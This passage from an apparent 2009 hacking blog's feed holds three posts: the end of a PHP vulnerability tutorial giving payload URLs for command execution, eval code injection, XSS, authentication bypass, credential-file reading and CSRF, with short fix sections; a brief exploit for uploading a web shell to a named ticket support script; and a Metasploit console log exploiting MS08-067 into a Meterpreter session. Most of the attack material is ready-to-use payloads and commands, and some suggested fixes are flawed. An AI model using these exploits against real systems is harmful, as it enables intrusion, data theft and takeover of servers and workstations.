/&gt;          error,can be modified to be small but will give some errors(will not &lt;br /&gt;          stop us to execute commands but looks ugly).&lt;br /&gt;		  &lt;br /&gt;		 So if we make the following request :&lt;br /&gt;		 &lt;br /&gt;		    http://127.0.0.1/sites/ourusername.php?cmd=whoami&lt;br /&gt;			&lt;br /&gt;	     And our command will be succesfully executed.&lt;br /&gt;		 &lt;br /&gt;		 &lt;br /&gt;	   8.3 - How to fix &lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;	        Simple way : Don't allow user input .&lt;br /&gt;		    Another way : Use escapeshellarg() and escapeshellcmd() functions . &lt;br /&gt;		                 Example : $cmd=escapeshellarg($_GET'cmd']);&lt;br /&gt;    &lt;br /&gt;	&lt;br /&gt;	 9) Remote Code Execution&lt;br /&gt;	 &lt;br /&gt;	    &lt;br /&gt;		 - Tips : You must inject valid PHP code including terminating statements ( ; ) .&lt;br /&gt;	 &lt;br /&gt;	    &lt;br /&gt;	   9.0 - Basic example&lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;	      - Code snippet from test.php &lt;br /&gt;		  &lt;br /&gt;		  -----------------------------------&lt;br /&gt;		   &lt;?php&lt;br /&gt;		   $code=$_GET['code'];&lt;br /&gt;		   eval($code); &lt;br /&gt;		   ?&gt;&lt;br /&gt;		   -----------------------------------&lt;br /&gt;	       &lt;br /&gt;	      The "eval" function evaluate a string as PHP code.So in this case we are able to execute &lt;br /&gt;		 our PHP code.Examples : &lt;br /&gt;		 &lt;br /&gt;		    http://127.0.0.1/test.php?code=phpinfo();&lt;br /&gt;			http://127.0.0.1/test.php?code=system(whoami);&lt;br /&gt;			&lt;br /&gt;		  And we will see the output of the PHP code injected by us.&lt;br /&gt;		  &lt;br /&gt;		  &lt;br /&gt;	   9.1 - Simple example&lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;	      - Code snippet from system/services/init.php&lt;br /&gt;		  &lt;br /&gt;		  ------------------------------------------------&lt;br /&gt;		  $conf = array_merge($conf,$confweb);&lt;br /&gt;		  }&lt;br /&gt;		  @eval(stripslashes($_REQUEST['anticode']));&lt;br /&gt;          if ( $_SERVER['HTTP_CLIENT_IP'] )&lt;br /&gt;		  ------------------------------------------------&lt;br /&gt;		  &lt;br /&gt;		   We see that the "anticode" is requested by $_REQUEST method and the coder &lt;br /&gt;		  "secured" the input with "stripslashes" which is useless here,we don't need &lt;br /&gt;		  slashes to execute our php code only if we want to include a URL.So we can&lt;br /&gt;		  inject our PHP code.Example : &lt;br /&gt;		  &lt;br /&gt;		    http://127.0.0.1/test.php?anticode=phpinfo();&lt;br /&gt;			&lt;br /&gt;		  Great,injection done,phpinfo() result printed.No include because slashes are&lt;br /&gt;		  removed,but we can use system() or another function to execute commands.&lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;	   9.2 - How to fix &lt;br /&gt;	   &lt;br /&gt;	         &lt;br /&gt;            Simple way : Don't allow ";" and the PHP code will be invalid.&lt;br /&gt;			Another way : Don't allow any special char like "(" or ")" etc.&lt;br /&gt;			&lt;br /&gt;			&lt;br /&gt;	 10) Cross-Site Scripting&lt;br /&gt;	 &lt;br /&gt;	 &lt;br /&gt;	     - Tips : You can use alot of vectors,can try alot of bypass methods,you cand&lt;br /&gt;		        find them around the web.&lt;br /&gt;				&lt;br /&gt;				&lt;br /&gt;	   10.0 - Basic example&lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;	      - Code snippet from test.php&lt;br /&gt;		  &lt;br /&gt;		  ---------------------------------&lt;br /&gt;		   &lt;?php&lt;br /&gt;		   $name=$_GET['name'];&lt;br /&gt;		   print $name;&lt;br /&gt;		   ?&gt;&lt;br /&gt;	       ---------------------------------&lt;br /&gt;		   &lt;br /&gt;		    The input is not filtered,an attacker can inject JavaScript code.Example :&lt;br /&gt;	   &lt;br /&gt;	           http://127.0.0.1/test.php?name=&lt;script&gt;alert("XSS")&lt;/script&gt;&lt;br /&gt;			   &lt;br /&gt;			A popup with XSS message will be displayed.JavaScript code succesfully executed.&lt;br /&gt;			&lt;br /&gt;			&lt;br /&gt;	   10.1 - Another example&lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;	      - Code snippet from test.php&lt;br /&gt;		  &lt;br /&gt;		   -------------------------------------------&lt;br /&gt;		    &lt;?php&lt;br /&gt;		    $name=addslashes($_GET['name']);&lt;br /&gt;		    print '&lt;table name="'.$name.'"&gt;&lt;/table&gt;';&lt;br /&gt;		    ?&gt;&lt;br /&gt;		   -------------------------------------------&lt;br /&gt;		   &lt;br /&gt;		   Not an advanced example,only a bit complicated.&lt;br /&gt;			&lt;br /&gt;			http://127.0.0.1/test.php?name="&gt;&lt;script&gt;alert(String.fromCharCode(88,83,83))&lt;/script&gt;&lt;br /&gt;			&lt;br /&gt;		   Why this vector?We put " because we must close the " from the "name" atribut&lt;br /&gt;		  of the "table" tag and &gt; to close the "table" tag.Why String.fromCharCode?Because&lt;br /&gt;		  we want to bypass addslashes() function.Injection done.&lt;br /&gt;		  &lt;br /&gt;		  &lt;br /&gt;	   10.2 - Simple example &lt;br /&gt;	   &lt;br /&gt;	      &lt;br /&gt;		   - Code snippet from modules.php&lt;br /&gt;		   &lt;br /&gt;		   ---------------------------------------------------------------------------&lt;br /&gt;		   if (isset($name)) {&lt;br /&gt;		   .................... etc................&lt;br /&gt;		   } else {&lt;br /&gt;		   die("Le fichier modules/".$name."/".$mod_file.".php est inexistant");&lt;br /&gt;		   ---------------------------------------------------------------------------&lt;br /&gt;		   &lt;br /&gt;		   The "name" variable is injectable,input is not filtered,so we can inject&lt;br /&gt;		  with ease JavaScript code.Example :&lt;br /&gt;		   &lt;br /&gt;		        http://127.0.0.1/test.php?name=&lt;script&gt;alert("XSS")&lt;/script&gt;&lt;br /&gt;				&lt;br /&gt;				&lt;br /&gt;	   10.3 - How to fix&lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;	          Simple way : Use htmlentities() or htmlspecialchars() functions.&lt;br /&gt;			              Example : $name=htmlentities($_GET['name']);&lt;br /&gt;			  Another way : Filter all special chars used for XSS ( a lot ).&lt;br /&gt;			              The best way is the first method.&lt;br /&gt;						  &lt;br /&gt;						  &lt;br /&gt;	 11) Authentication Bypass	&lt;br /&gt;	 &lt;br /&gt;	 &lt;br /&gt;	     - Tips : Look deep in the scripts,look in the admin directories,&lt;br /&gt;		        maybe are not protected,also look for undefined variables &lt;br /&gt;				like "login" or "auth".&lt;br /&gt;				&lt;br /&gt;	   &lt;br /&gt;	   11.0 - Basic example&lt;br /&gt;	   &lt;br /&gt;	       &lt;br /&gt;		   I will provide a simple example of authentication bypass&lt;br /&gt;		  via login variable.&lt;br /&gt;		  &lt;br /&gt;		   - Code snippet from test.php&lt;br /&gt;		   &lt;br /&gt;		   ---------------------------------&lt;br /&gt;		   &lt;?php&lt;br /&gt;		   if ($logged==true) {&lt;br /&gt;		   echo 'Logged in.'; }&lt;br /&gt;		   else {&lt;br /&gt;		   print 'Not logged in.';&lt;br /&gt;		   }&lt;br /&gt;		   ?&gt;&lt;br /&gt;		   ---------------------------------&lt;br /&gt;		   &lt;br /&gt;		    Here we need register_gloabals = on . I will talk about php.ini&lt;br /&gt;		  settings a bit later in this tutorial.If we set the value of $logged&lt;br /&gt;		  variable to 1 the if condition will be true and we are logged in.&lt;br /&gt;		    Example : &lt;br /&gt;			&lt;br /&gt;			  http://127.0.0.1/test/php?logged=1&lt;br /&gt;			&lt;br /&gt;		    And we are logged in.&lt;br /&gt;		  &lt;br /&gt;		  &lt;br /&gt;	   11.1 - Via login variable&lt;br /&gt;		  &lt;br /&gt;		  &lt;br /&gt;		 - Code snippet from login.php&lt;br /&gt;		 &lt;br /&gt;		 ------------------------------------------------------------------------------------&lt;br /&gt;		 if ($login_ok)&lt;br /&gt;		 {&lt;br /&gt;		 $_SESSION['loggato'] = true;&lt;br /&gt;		 echo "&lt;p&gt;$txt_pass_ok&lt;/p&gt;";&lt;br /&gt;		 echo"&lt;div align='center'&gt;&lt;a href='index.php'&gt;$txt_view_entry&lt;/a&gt; | &lt;br /&gt;		 &lt;a href='admin.php'&gt;$txt_delete-$txt_edit&lt;/a&gt; | &lt;a href='install.php'&gt;$txt_install&lt;br /&gt;		 &lt;/a&gt;&lt;/div&gt;";&lt;br /&gt;		 }&lt;br /&gt;		 ------------------------------------------------------------------------------------&lt;br /&gt;		 &lt;br /&gt;		  Lets see.If the "login_ok" variable is TRUE ( 1 ) the script set us a SESSION who&lt;br /&gt;         tell to the script that we are logged in.So lets set the "login_ok" variable to TRUE.&lt;br /&gt;		  Example : &lt;br /&gt;		  &lt;br /&gt;		     http://127.0.0.1/login.php?login_ok=1&lt;br /&gt;			 &lt;br /&gt;		  Now we are logged in.&lt;br /&gt;		  &lt;br /&gt;		  &lt;br /&gt;	   11.2 - Unprotected Admin CP&lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;           You couln't belive this but some PHP scrips don't protect the admin&lt;br /&gt;		  control panel : no login,no .htaccess,nothing.So we simply we go to &lt;br /&gt;		  the admin panel directory and we take the control of the website.&lt;br /&gt;		   Example : &lt;br /&gt;		   &lt;br /&gt;		      http://127.0.0.1/admin/files.php&lt;br /&gt;			  &lt;br /&gt;			We accessed the admin panel with a simple request.&lt;br /&gt;			&lt;br /&gt;			&lt;br /&gt;	   11.3 - How to fix &lt;br /&gt;	  &lt;br /&gt;	  &lt;br /&gt;	      - Login variable bypass : Use a REAL authentication system,don't check the&lt;br /&gt;		                          login like that,use SESSION verification.Example :&lt;br /&gt;		   &lt;br /&gt;		      if($_SESSION['logged']==1) {&lt;br /&gt;			  echo 'Logged in'; }&lt;br /&gt;			  else { echo 'Not logged in';&lt;br /&gt;			  }&lt;br /&gt;		  &lt;br /&gt;		  - Unprotected Admin CP : Use an authentication system or use .htaccess to&lt;br /&gt;		                          allow access from specific IP's or .htpasswd to &lt;br /&gt;								  request an username and a password for admin CP.&lt;br /&gt;								  Example : &lt;br /&gt;								  &lt;br /&gt;				.htaccess : &lt;br /&gt;				&lt;br /&gt;				    order deny, allow&lt;br /&gt;				    deny from all&lt;br /&gt;				    allow from 127.0.0.1&lt;br /&gt;				&lt;br /&gt;				.htpasswd : &lt;br /&gt;				 &lt;br /&gt;				    AuthUserFile /the/path/.htpasswd&lt;br /&gt;				    AuthType Basic&lt;br /&gt;				    AuthName "Admin CP"&lt;br /&gt;				    Require valid-user&lt;br /&gt;					&lt;br /&gt;					and /the/path/.htpasswd&lt;br /&gt;					&lt;br /&gt;					sirgod:$apr1$wSt1u...$6yvagxWk.Ai2bD6s6O9iQ.&lt;br /&gt;					&lt;br /&gt;					&lt;br /&gt;	 12) Insecure Permissions&lt;br /&gt;	 &lt;br /&gt;	 &lt;br /&gt;	     Tips : Look deep into the files,look if the script request to be&lt;br /&gt;		      logged in to do something,maybe the script don't request.&lt;br /&gt;			    Watch out for insecure permissions,maybe you can do admin&lt;br /&gt;			  things without login.&lt;br /&gt;			  &lt;br /&gt;			  &lt;br /&gt;	   12.0 - Basic example&lt;br /&gt;	   &lt;br /&gt;	      &lt;br /&gt;		  We are thinking at a script who let the admin to have a lookup in&lt;br /&gt;		 the users database through a file placed in /admin directory.That &lt;br /&gt;		 file is named...hmmm : db_lookup.php.&lt;br /&gt;		 &lt;br /&gt;		  - Code snippet from admin/db_lookup.php&lt;br /&gt;		  &lt;br /&gt;		  --------------------------------------------&lt;br /&gt;		  &lt;?php&lt;br /&gt;		  // Lookup in the database&lt;br /&gt;		  readfile('protected/usersdb.txt');&lt;br /&gt;		  ?&gt;&lt;br /&gt;		  --------------------------------------------&lt;br /&gt;		  &lt;br /&gt;		   Lets think.We cannot access the "protected" directory because&lt;br /&gt;		  is .htaccess'ed.But look at this file,no logged-in check,nothing.&lt;br /&gt;		  So if we acces : &lt;br /&gt;		  &lt;br /&gt;		    http://127.0.0.1/admin/db_lookup.php&lt;br /&gt;			&lt;br /&gt;		  We can see the database.Remember,this is only an example created by &lt;br /&gt;		 me,not a real one,you can find this kind of vulnerabilities in scripts.&lt;br /&gt;		 &lt;br /&gt;		 &lt;br /&gt;	   12.1 - Read the users/passwords&lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;	      Oh yeah,some coders are so stupid.They save the usernames and passwords&lt;br /&gt;		 in text files,UNPROTECTED.A simple example from a script : &lt;br /&gt;		 &lt;br /&gt;		    http://127.0.0.1/userpwd.txt&lt;br /&gt;			&lt;br /&gt;		  And we read the file,the usernames and passwords are there.&lt;br /&gt;&lt;br /&gt;	   &lt;br /&gt;	   12.2 - Download Backups&lt;br /&gt;		   &lt;br /&gt;&lt;br /&gt;		    Some scripts have database backup functions,some are safe,some are not safe.&lt;br /&gt;			I will show you a real script example : &lt;br /&gt;			&lt;br /&gt;			 - Code snippet from /adminpanel/phpmydump.php&lt;br /&gt;			 &lt;br /&gt;			 --------------------------------------------------------------------------------&lt;br /&gt;			 function mysqlbackup($host,$dbname, $uid, $pwd, $structure_only, $crlf) {  &lt;br /&gt;			 $con=@mysql_connect("localhost",$uid, $pwd) or die("Could not connect");  &lt;br /&gt;			 $db=@mysql_select_db($dbname,$con) or die("Could not select db");&lt;br /&gt;			 .............................. etc ..........................&lt;br /&gt;			  mysqlbackup($host,$dbname,$uname,$upass,$structure_only,$crlf);&lt;br /&gt;			 --------------------------------------------------------------------------------&lt;br /&gt;			 &lt;br /&gt;			After a lof of code the function is called.I don't pasted the entire code&lt;br /&gt;		  because is huge.I analyzed the script,no login required,no check,nothing.So&lt;br /&gt;		  if we access the file directly the download of the backup will start.Example : &lt;br /&gt;		  &lt;br /&gt;		      http://127.0.0.1/adminpanel/phpmydump.php&lt;br /&gt;			  &lt;br /&gt;		   Now we have the database backup saved in our computer.&lt;br /&gt;		   &lt;br /&gt;		  &lt;br /&gt;       12.3 - INC files&lt;br /&gt;		&lt;br /&gt;		&lt;br /&gt;		   Some scripts saves important data in INC files.Usually in INC files is PHP&lt;br /&gt;		  code containing database configuration.The INC files can be viewed in &lt;br /&gt;		  browser even they contain PHP code.So a simple request will be enough to&lt;br /&gt;		  access and read the file.Example : &lt;br /&gt;		  &lt;br /&gt;		      http://127.0.0.1/inc/mysql.inc&lt;br /&gt;			  &lt;br /&gt;		   Now we have the database connection details.Look deep in scripts,is more&lt;br /&gt;		  scripts who saves important data into INC files.&lt;br /&gt;		&lt;br /&gt;		   &lt;br /&gt;	   12.4 - How to fix&lt;br /&gt;		                   &lt;br /&gt;		   &lt;br /&gt;		    - Basic example : Check if the admin is logged in,if not,redirect.&lt;br /&gt;			&lt;br /&gt;			- Read the users/passwords : Save the records in a MySQL database&lt;br /&gt;			                           or in a protected file/directory.&lt;br /&gt;									   &lt;br /&gt;		    - Download Backups : Check if the admin is logged in,if not,redirect.&lt;br /&gt;			&lt;br /&gt;			- INC files : Save the configuration in proper files,like .php or&lt;br /&gt;			           protect the directory with an .htaccess file.&lt;br /&gt;		     &lt;br /&gt;	 &lt;br /&gt;	 13) Cross Site Request Forgery&lt;br /&gt;	 &lt;br /&gt;	 &lt;br /&gt;	    - Tips : Through CSRF you can change the admin password,is not&lt;br /&gt;		       so inofensive.&lt;br /&gt;			     Can be used with XSS,redirected from XSS.&lt;br /&gt;	 &lt;br /&gt;	 &lt;br /&gt;	   13.0 - Basic example&lt;br /&gt;	   &lt;br /&gt;	      &lt;br /&gt;		   - Code snippet from test.php &lt;br /&gt;		   &lt;br /&gt;		   -----------------------------------------&lt;br /&gt;		   &lt;?php&lt;br /&gt;		   check_auth();&lt;br /&gt;		   if(isset($_GET['news']))&lt;br /&gt;		   { unlink('files/news'.$news.'.txt'); }&lt;br /&gt;		   else { &lt;br /&gt;		   die('File not deleted'); }&lt;br /&gt;		   ?&gt;&lt;br /&gt;		   -----------------------------------------&lt;br /&gt;		   &lt;br /&gt;		    In this example you will see what is CSRF and how it works.In the "files" &lt;br /&gt;		   directory are saved the news written by the author.The news are saved like&lt;br /&gt;		   "news1.txt","news2.txt" etc. So the admin can delete the news.The news that&lt;br /&gt;		   he want to delete will be specified in "news" variable.If he want to delete&lt;br /&gt;		   the news1.txt the value of "news" will be "1".We cannot execute this without&lt;br /&gt;		   admin permissions,look,the script check if we are logged in.&lt;br /&gt;		    I will show you an example.If we request : &lt;br /&gt;			&lt;br /&gt;			   http://127.0.0.1/test.php?news=1&lt;br /&gt;			   &lt;br /&gt;			The /news/news1.txt file will be deleted.The script directly delete the file&lt;br /&gt;		   without any notice.So we can use this to delete a file.All we need is to trick&lt;br /&gt;		   the admin to click our evil link and the file specified by us in the "news" &lt;br /&gt;		   variable will be deleted.&lt;br /&gt;		   &lt;br /&gt;		   &lt;br /&gt;	   13.1 - Simple example&lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;	      In a way the codes below are included in the index.php file ,I&lt;br /&gt;		 will not paste all the includes,there are a lot.&lt;br /&gt;	   &lt;br /&gt;           - Code snippet from includes/pages/admin.php&lt;br /&gt;&lt;br /&gt;           --------------------------------------------------------------------&lt;br /&gt;           if ($_GET['act'] == '') {&lt;br /&gt;           include "includes/pages/admin/home.php";&lt;br /&gt;           } else {&lt;br /&gt;           include "includes/pages/admin/" . $_GET['act'] . ".php";&lt;br /&gt;		   --------------------------------------------------------------------&lt;br /&gt;		  &lt;br /&gt;		  Here we can see how the "includes/pages/admin/members.php" is included in&lt;br /&gt;		 this file.If "act=members" the file below will be included.&lt;br /&gt;		   &lt;br /&gt;	      &lt;br /&gt;		   - Code snippet from includes/pages/admin/members.php&lt;br /&gt;		   &lt;br /&gt;		   ----------------------------------------------------------------------------------------------&lt;br /&gt; 		   if ($_GET['func'] == 'delete') {&lt;br /&gt; 		   $del_id = $_GET['id'];&lt;br /&gt; 		   $query2121 = "select ROLE from {$db_prefix}members WHERE ID='$del_id'";&lt;br /&gt; 		   $result2121 = mysql_query($query2121) or die("delete.php - Error in query: $query2121");&lt;br /&gt; 		   while ($results2121 = mysql_fetch_array($result2121)) {&lt;br /&gt; 		   $their_role = $results2121['ROLE'];&lt;br /&gt;		   }&lt;br /&gt; 		   if ($their_role != '1') {&lt;br /&gt;           mysql_query("DELETE FROM {$db_prefix}members WHERE id='$del_id'") or die(mysql_error&lt;br /&gt;           ()); &lt;br /&gt;		   ----------------------------------------------------------------------------------------------&lt;br /&gt;		   &lt;br /&gt;		   We can see here that if "func=delete" will be called by URL,the script will&lt;br /&gt;		  delete from the database a user with the specified ID ( $id ) without any &lt;br /&gt;		  confirmation.Example : &lt;br /&gt;		  &lt;br /&gt;		    http://127.0.0.1/index.php?page=admin&amp;act=members&amp;func=delete&amp;id=4&lt;br /&gt;			&lt;br /&gt;		  The script check if the admin is logged in so if we trick the admin to click&lt;br /&gt;		 our evil link the user who have the specified ID in the database will be deleted&lt;br /&gt;		 without any confirmation.&lt;br /&gt;				   &lt;br /&gt;	&lt;br /&gt;	   13.2 - How to fix	&lt;br /&gt;	   &lt;br /&gt;	   &lt;br /&gt;	      - Simple way : Use tokens.At each login,generate a random token and save it&lt;br /&gt;		                in the session.Request the token in URL to do administrative &lt;br /&gt;						actions,if the token missing or is wrong,don't execute the&lt;br /&gt;						action.I will show you only how to to check if the token &lt;br /&gt;                                                is present and is correct.Example :&lt;br /&gt;&lt;br /&gt;								 -------------------------------------------------------					&lt;br /&gt;								  &lt;?php&lt;br /&gt;								  check_auth();&lt;br /&gt;								  if(isset($_GET['news']) &amp;&amp; $token=$_SESSION['token'])&lt;br /&gt;								  { unlink('files/news'.$news.'.txt'); }&lt;br /&gt;								  else { &lt;br /&gt;								  die('Error.'); }&lt;br /&gt;								  ?&gt;&lt;br /&gt;								  -------------------------------------------------------&lt;br /&gt;								  &lt;br /&gt;						The request will look like this one : &lt;br /&gt;						&lt;br /&gt;						    http://127.0.0.1/index.php?delete=1&amp;token=[RANDOM_TOKEN]&lt;br /&gt;								  &lt;br /&gt;						So this request will be fine,the news will be deleted.&lt;br /&gt;										&lt;br /&gt;			&lt;br /&gt;		  - Another way : Do some complicated confirmations or request a password&lt;br /&gt;		                 to do administrative actions.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;         14) Shoutz&lt;br /&gt;&lt;br /&gt;		 &lt;br /&gt;              Shoutz to all www.insecurity.ro &amp; www.h4cky0u.org members.If you have some suggestions or &lt;br /&gt;            questions just email me.		&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-3654002713799350691?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/3654002713799350691/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/finding-vulnerabilities-in-php-scripts.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/3654002713799350691'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/3654002713799350691'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/finding-vulnerabilities-in-php-scripts.html' title='Finding vulnerabilities in PHP scripts FULL ( with examples )'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-4030067366284585742</id><published>2009-09-11T06:49:00.000-07:00</published><updated>2009-09-11T06:50:20.553-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><title type='text'>Ticket Support Script (ticket.php) Remote Shell Upload Vulnerability</title><content type='html'>=======================================================&lt;br /&gt;+++++++++++++++++++ Script information+++++++++++++++++&lt;br /&gt;=======================================================&lt;br /&gt;&lt;br /&gt;&lt;&lt;-&gt;&gt; script   :: ticket support system&lt;br /&gt;&lt;br /&gt;&lt;&lt;-&gt;&gt; download :: http://www.ticketsupportscript.com/download12/TicketSupportScriptU.zip&lt;br /&gt;&lt;br /&gt;=======================================================&lt;br /&gt;+++++++++++++++++++++++ Exploit +++++++++++++++++++++++&lt;br /&gt;=======================================================&lt;br /&gt;&lt;br /&gt;&lt;&lt;-&gt;&gt; Exploit :: &lt;br /&gt;&lt;br /&gt;   goto here and send ticket with ur upload shell&lt;br /&gt;&lt;br /&gt;                         ::&gt; http://www.site.com/[ path ]/ticket.php?ac=new&lt;br /&gt;&lt;br /&gt;   ur shell will be here&lt;br /&gt;&lt;br /&gt;                         ::&gt; http://www.site.com/[ path ]/uploads/&lt;br /&gt;&lt;br /&gt;=======================================================&lt;br /&gt;++++++++++++++++++++++ Greetz +++++++++++++++++++++++++&lt;br /&gt;=======================================================&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-4030067366284585742?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/4030067366284585742/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/ticket-support-script-ticketphp-remote.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/4030067366284585742'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/4030067366284585742'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/ticket-support-script-ticketphp-remote.html' title='Ticket Support Script (ticket.php) Remote Shell Upload Vulnerability'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-6165581636972742252</id><published>2009-09-11T05:57:00.000-07:00</published><updated>2009-09-11T05:58:34.754-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>MS08-067</title><content type='html'>msf &gt; version&lt;br /&gt;Framework: 3.2-testing.5773&lt;br /&gt;Console  : 3.2-testing.5773&lt;br /&gt;&lt;br /&gt;msf &gt; use windows/smb/ms08_067_netapi&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; show options&lt;br /&gt;&lt;br /&gt;Module options:&lt;br /&gt;&lt;br /&gt;Name     Current Setting  Required  Description&lt;br /&gt;----     ---------------  --------  -----------&lt;br /&gt;RHOST                     yes       The target address&lt;br /&gt;RPORT    445              yes       Set the SMB service port&lt;br /&gt;SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)&lt;br /&gt;&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; info windows/smb/ms08_067_netapi&lt;br /&gt;&lt;br /&gt;Name: Microsoft Server Service Relative Path Stack Corruption&lt;br /&gt;Version: 5803&lt;br /&gt;Platform: Windows&lt;br /&gt;Privileged: Yes&lt;br /&gt;License: Metasploit Framework License (BSD)&lt;br /&gt;&lt;br /&gt;Provided by:&lt;br /&gt;hdm &lt;br /&gt;&lt;br /&gt;Available targets:&lt;br /&gt;Id  Name&lt;br /&gt;--  ----&lt;br /&gt;0   Windows XP SP2 English (DEP)&lt;br /&gt;1   Windows XP SP3 English (DEP)&lt;br /&gt;2   Windows 2003 SP0 English (NO DEP)&lt;br /&gt;3   Windows 2003 SP2 English (NO DEP)&lt;br /&gt;&lt;br /&gt;Basic options:&lt;br /&gt;Name     Current Setting  Required  Description&lt;br /&gt;----     ---------------  --------  -----------&lt;br /&gt;RHOST                     yes       The target address&lt;br /&gt;RPORT    445              yes       Set the SMB service port&lt;br /&gt;SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)&lt;br /&gt;&lt;br /&gt;Payload information:&lt;br /&gt;Space: 400&lt;br /&gt;Avoid: 7 characters&lt;br /&gt;&lt;br /&gt;Description:&lt;br /&gt;This module exploits a parsing flaw in the path canonicalization&lt;br /&gt;code of NetAPI32.dll through the Server Service. This module is&lt;br /&gt;capable of bypassing DEP on some operating systems and service&lt;br /&gt;packs. The correct target must be used to prevent the Server Service&lt;br /&gt;(along with a dozen others in the same process) from crashing.&lt;br /&gt;Windows XP targets seem to handle multiple successful exploitation&lt;br /&gt;events, but 2003 targets will often crash or hang on subsequent&lt;br /&gt;attempts. This is just the first version of this module, full&lt;br /&gt;support for DEP bypass on 2003, along with other platforms, is still&lt;br /&gt;in development.&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;http://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-4250&lt;br /&gt;http://www.microsoft.com/technet/security/bulletin/MS08-067.mspx&lt;br /&gt;&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; set RHOST 192.168.132.130&lt;br /&gt;RHOST =&gt; 192.168.132.130&lt;br /&gt;&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; set PAYLOAD windows/meterpreter/bind_tcp&lt;br /&gt;PAYLOAD =&gt; windows/meterpreter/bind_tcp&lt;br /&gt;&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; set TARGET 0&lt;br /&gt;TARGET =&gt; 0&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; exploit&lt;br /&gt;[*] Started bind handler&lt;br /&gt;[*] Connecting to the target...&lt;br /&gt;[*] Binding to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.132.130[\BROWSER] ...&lt;br /&gt;[*] Bound to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.132.130[\BROWSER] ...&lt;br /&gt;[*] Triggering the vulnerability...&lt;br /&gt;[*] Transmitting intermediate stager for over-sized stage...(191 bytes)&lt;br /&gt;[*] Sending stage (2650 bytes)&lt;br /&gt;[*] Sleeping before handling stage...&lt;br /&gt;[*] Uploading DLL (73227 bytes)...&lt;br /&gt;[*] Upload completed.&lt;br /&gt;[*] Meterpreter session 1 opened (192.168.132.1:51707 -&gt; 192.168.132.130:4444)&lt;br /&gt;&lt;br /&gt;meterpreter &gt; sysinfo&lt;br /&gt;Computer: Research-1&lt;br /&gt;OS      : Windows XP (Build 2600, Service Pack 2).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-6165581636972742252?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/6165581636972742252/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/ms08-067.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/6165581636972742252'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/6165581636972742252'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/ms08-067.html' title='MS08-067'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 